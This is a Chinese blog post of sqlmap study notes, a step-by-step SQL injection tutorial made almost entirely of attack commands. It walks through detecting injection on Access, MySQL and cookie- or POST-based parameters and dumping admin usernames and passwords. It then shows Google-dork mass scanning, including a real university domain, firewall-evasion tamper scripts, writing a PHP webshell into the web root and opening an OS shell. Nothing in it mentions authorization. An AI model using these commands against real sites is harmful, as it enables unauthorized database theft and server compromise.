sqlmap学习笔记一

access注入

http://www.a.com/0/View.asp?id=33

检测注入
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33"

列表

C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --tables

列名
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --columns -T "a_d_m_i_n"

字段

C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --dump -C "name,pass" -T "a_d_m_i_n"


mysql注入
http://www.a.com/4/view.php?id=8

检测注入
sqlmap.py -u "http://www.a.com/4/view.php?id=8"

is-dba 当前用户权限
dbs 所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user 当前数据库用户

sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --dbs
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-db
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --users
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-user

注入过程
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-db

sqlmap.py -u "http://www.a.com/4/view.php?id=8" --tables -D "mysqlDB"

sqlmap.py -u "http://www.a.com/4/view.php?id=8" --columns -T "admin" -D "mysqlDB"

sqlmap.py -u "http://www.a.com/4/view.php?id=8" --dump -C "user,pass" -T "admin" -D "mysqlDB"


MSSQL数据库注入

类似mysql的注入方式


cookie注入方式
http://www.a.com/2/shownews.asp?id=51

sqlmap.py -u "http://www.a.com/2/shownews.asp?id=51"  检测不出来的

sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=51" --level 2

[23:23:20] [INFO] the back-end DBMS is Microsoft Access
back-end DBMS: Microsoft Access
[23:23:20] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.a.com'

列表
sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=51" --level 2 --tables

列字段
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=5
1" --level 2 --columns -T "admin"


列用户名和密码
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=5
1" --level 2 --dump -C "username,password" -T "admin"


google批量搜索注入点

inurl
intext
intitle
site


sqlmap.py -g "intext:'小学' inurl:php?id="

整站测试
sqlmap.py -g "site:www.dd.com inurl:php?id="
sqlmap.py -g "site:ahu.edu.cn inurl:php?id="


tamper插件

针对防火墙
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --tamper "space2hash"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --tamper "base64encode.py"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --batch --tamper "base64encode.py"


file参数的使用
sqlserver  mysql
dba权限  root权限 

直接上传
1、
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba


2、
确定路径:C:\phpStudy\WWW\4\

写入文件
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --file-write=c:/a.php --file-dest=C:/phpStudy/WWW/4/aaa.php
经验:不要传大马,数据量尽量少



post注入方式
--forms
-r  文件地址
sqlmap.py -u "http://www.a.com/1/index.php" --forms
sqlmap.py -u "http://www.a.com/1/index.php" --forms --is-dba
sqlmap.py -u "http://www.a.com/1/index.php" --forms --users
sqlmap.py -u "http://www.a.com/1/index.php" --forms --current-user

sqlmap.py -r post.txt 
sqlmap.py -r post.txt  --is-dba


os参数

权限:dba权限
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --os-cmd=ipconfig
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --os-shell
进入以后,可以直接执行shell命令


原文链接: sqlmap学习笔记一 版权所有,转载时请注明出处,违者必究。
注明出处格式:流沙团 ( https://www.gyarmy.com/post-181.html )

发表评论

0则评论给“sqlmap学习笔记一”